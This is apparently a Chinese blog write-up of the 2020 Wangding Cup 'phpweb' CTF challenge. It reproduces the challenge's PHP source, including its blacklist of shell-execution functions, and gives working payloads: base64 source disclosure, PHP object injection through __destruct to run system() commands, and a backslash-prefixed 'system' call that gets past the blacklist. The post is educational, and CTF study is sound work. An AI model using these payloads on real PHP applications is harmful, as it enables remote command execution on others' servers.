• [网鼎杯 2020 朱雀组]phpweb-1|反序列化


    1、打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下:

    2、对两个参数与返回值进行分析,我们使用dat时一般是这种格式:date("Y-m-d+h:i:s+a"),那我们可以猜测func参数接受的是一个函数,p参数接受的是函数执行的内容,我们可以输入参数md5和1进行测试,结果如下:

    3、那我们就尝试读取下当前的目录信息,payload:func=system&p=ls,显示hacking,应该是被过滤掉了,因此我们考虑读取下源码信息,payload:func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php,对获得的字母串进行base64解码,结果如下:

    源码如下:

    "exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
        function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
                return $result;
            } else {return "";}
        }
        class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
        }
        $func = $_REQUEST["func"];
        $p = $_REQUEST["p"];
    
        if ($func != null) {
            $func = strtolower($func);
            if (!in_array($func,$disable_fun)) {
                echo gettime($func, $p);
            }else {
                die("Hacker...");
            }
        }
    ?>

    4、在代码里注意到了__destruct()函数,此函数会在类被销毁时调用,那我们如果反序列化一个类,在类里的参数中写上我们要执行的代码和函数,这样的话就会直接调用gettime函数,而不会执行in_array($func,$disable_fun),那我们就绕过了黑名单的判断,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} ,结果如下:

    序列化代码:

    class Test {
        var $p = "ls";
        var $func = "system";
        }
    $test = new Test();
    $str = serialize($test);
    print($str);
    ?> 

    5、成功绕过黑名单获取到当前的目录信息,那我们就修改下传递的参数,查找下flag的位置信息,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find+/+-name+flag*";s:4:"func";s:6:"system";} ,结果如下:

    序列化代码(序列化之后注意将空格修改为+号,或者采用get方式进行传输):

    class Test {
        var $p = "find / -name flag*";
        var $func = "system";
        }
    $test = new Test();
    $str = serialize($test);
    print($str);
    ?> 

    6、获得flag文件位置信息后,修改传递的参数读取下flag值,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";s:4:"func";s:6:"system";} ,结果如下:

    序列化代码如下(序列化之后注意将空格修改为+号,或者采用get方式进行传输):

    class Test {
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
        }
    $test = new Test();
    $str = serialize($test);
    print($str);
    ?> 

    7、这里补充下另外一种绕过黑名单的方式,第三步中的读取目录信息,可以修改payload:func=\system&p=ls,也可以获得目录信息,结果如下;

    8、然后后面的就是查找flag文件的位置、读取flag信息,结果如下:

    9、\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串。



    如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    【Linux练习生】Linux多线程
    .net-----集合和数据结构
    java Spring Boot验证码美化,白色背景 随机四个数 每个字随机颜色
    HTML5 Canvas绘制图形从入门到精通
    数字孪生技术解决方案助力智慧核电建设
    如何打开设置了密码的ZIP文件?
    pg无法启动
    【LeetCode】11. 盛最多水的容器
    Vue虚拟节点和渲染函数
    英伟达发布526.98 WHQL 显卡驱动,支持RTX 4080,三款即将上线游戏
  • 原文地址:https://www.cnblogs.com/upfine/p/16641076.html